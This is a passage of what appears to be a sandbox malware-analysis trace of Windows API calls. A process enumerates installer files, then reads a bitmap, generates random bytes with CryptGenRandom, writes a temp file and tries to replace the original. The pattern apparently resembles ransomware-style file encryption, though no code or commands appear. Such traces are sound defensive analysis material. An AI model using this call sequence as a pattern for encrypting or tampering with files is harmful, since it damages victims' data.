	[0075.433] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1
	[0075.433] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.433] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796)) returned 1
	[0075.437] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.437] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796)) returned 1
	[0075.437] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.437] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae)) returned 1
	[0075.505] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.505] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200)) returned 1
	[0075.691] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.692] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200)) returned 1
	[0075.692] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.692] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148)) returned 1
	[0075.693] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.693] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158)) returned 1
	[0075.693] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.693] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150)) returned 1
	[0075.693] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.693] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8)) returned 1
	[0075.694] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.694] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758)) returned 1
	[0075.694] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.694] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078)) returned 1
	[0075.694] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.694] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.695] SetEvent (hEvent=0x17c) returned 1
	[0075.695] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704)) returned 1
	[0075.695] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.695] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2)) returned 1
	[0075.695] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.695] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113)) returned 1
	[0075.779] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.779] VirtualAlloc (lpAddress=0xc0001ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ee000
	[0075.780] SetEvent (hEvent=0x17c) returned 1
	[0075.780] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0076.986] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0077.088] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0077.812] VirtualFree (lpAddress=0xc00045c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.813] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.018] SetEvent (hEvent=0x188) returned 1
	[0078.018] VirtualFree (lpAddress=0xc000454000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.018] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.094] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.139] SetEvent (hEvent=0x188) returned 1
	[0078.139] VirtualFree (lpAddress=0xc000448000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.140] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.214] SetEvent (hEvent=0x188) returned 1
	[0078.214] VirtualFree (lpAddress=0xc000440000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.214] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.256] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.342] SetEvent (hEvent=0xd4) returned 1
	[0078.342] VirtualFree (lpAddress=0xc00043a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.342] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.463] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.589] SetEvent (hEvent=0xd4) returned 1
	[0078.589] VirtualFree (lpAddress=0xc000432000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.590] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.772] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.957] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0081.056] SetEvent (hEvent=0xfc) returned 1
	[0081.056] VirtualFree (lpAddress=0xc000422000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0081.056] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0082.681] SetEvent (hEvent=0x188) returned 1
	[0082.681] VirtualFree (lpAddress=0xc000416000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0082.682] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0082.837] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0082.997] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0083.095] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0083.238] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0083.503] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0083.543] SetEvent (hEvent=0xfc) returned 1
	[0083.543] VirtualFree (lpAddress=0xc000404000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.544] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0083.714] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.204] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.316] SetEvent (hEvent=0xd4) returned 1
	[0084.316] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0084.317] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0084.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0084.317] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231bf4 | out: lpMode=0xc000231bf4) returned 0
	[0084.317] GetFileType (hFile=0x164) returned 0x1
	[0084.317] GetFileType (hFile=0x164) returned 0x1
	[0084.317] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000231c44 | out: lpFileInformation=0xc000231c44) returned 1
	[0084.317] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000231c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000231c28) returned 1
	[0084.318] ReadFile (in: hFile=0x164, lpBuffer=0xc00018c000, nNumberOfBytesToRead=0xc8e, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc00018c000*, lpNumberOfBytesRead=0xc000231b04*=0xa8e, lpOverlapped=0x0) returned 1
	[0084.334] ReadFile (in: hFile=0x164, lpBuffer=0xc00018ca8e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc00018ca8e*, lpNumberOfBytesRead=0xc000231b04*=0x0, lpOverlapped=0x0) returned 1
	[0084.335] CloseHandle (hObject=0x164) returned 1
	[0084.335] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0002067a0 | out: pbBuffer=0xc0002067a0) returned 1
	[0084.335] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0002223c0 | out: pbBuffer=0xc0002223c0) returned 1
	[0084.335] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000000501 | out: pbBuffer=0xc000000501) returned 1
	[0084.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\fb1d2333bd43445629e34dc165e66c28" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fb1d2333bd43445629e34dc165e66c28"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0084.336] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0084.339] GetFileType (hFile=0x164) returned 0x1
	[0084.339] WriteFile (in: hFile=0x164, lpBuffer=0xc0001ba000*, nNumberOfBytesToWrite=0xb8e, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001ba000*, lpNumberOfBytesWritten=0xc000231bec*=0xb8e, lpOverlapped=0x0) returned 1
	[0084.341] CloseHandle (hObject=0x164) returned 1
	[0084.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp\\*", lpFindFileData=0xc000231a78 | out: lpFindFileData=0xc000231a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0084.342] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\fb1d2333bd43445629e34dc165e66c28" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fb1d2333bd43445629e34dc165e66c28")) returned 1
	[0084.344] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.813] SetEvent (hEvent=0xfc) returned 1
	[0084.813] VirtualFree (lpAddress=0xc0003e6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.813] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.845] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.863] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.873] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.876] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.995] SetEvent (hEvent=0xd4) returned 1
	[0084.996] SetEvent (hEvent=0x188) returned 1
	[0084.996] VirtualFree (lpAddress=0xc0003d6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.996] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.000] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.005] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.060] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.274] SetEvent (hEvent=0x188) returned 1
	[0085.274] SetEvent (hEvent=0xd4) returned 1
	[0085.274] VirtualFree (lpAddress=0xc0003c8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.274] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.377] SetEvent (hEvent=0xd4) returned 1
	[0085.377] SetEvent (hEvent=0x188) returned 1
	[0085.377] VirtualFree (lpAddress=0xc0003c4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.377] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.478] SetEvent (hEvent=0xd4) returned 1
	[0085.478] SetEvent (hEvent=0x188) returned 1
	[0085.478] VirtualFree (lpAddress=0xc0003be000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.479] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.597] SetEvent (hEvent=0xd4) returned 1
	[0085.597] SetEvent (hEvent=0x188) returned 1
	[0085.597] VirtualFree (lpAddress=0xc0003ba000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.779] SetEvent (hEvent=0x188) returned 1
	[0085.779] SetEvent (hEvent=0xd4) returned 1
	[0085.779] VirtualFree (lpAddress=0xc0003b2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.779] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0085.863] SetEvent (hEvent=0x188) returned 1
	[0085.863] SetEvent (hEvent=0xd4) returned 1
	[0085.863] VirtualFree (lpAddress=0xc0003ae000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.863] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.011] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.102] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.116] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.117] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.123] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.128] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.216] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.221] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.304] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.312] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.397] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.407] SetEvent (hEvent=0xd4) returned 1
	[0086.407] SetEvent (hEvent=0xfc) returned 1
	[0086.407] VirtualFree (lpAddress=0xc000384000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.408] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.414] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) 

Thread:
	id = 6
	os_tid = 0x1120

	[0049.749] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x9305ff6b0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x9305ff6b0*=0xf8) returned 1
	[0049.749] VirtualQuery (in: lpAddress=0x9305ff6d0, lpBuffer=0x9305ff6d0, dwLength=0x30 | out: lpBuffer=0x9305ff6d0*(BaseAddress=0x9305ff000, AllocationBase=0x930400000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0049.749] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xfc
	[0049.749] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x100
	[0049.749] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0050.481] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0050.519] SetEvent (hEvent=0xe4) returned 1
	[0050.519] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
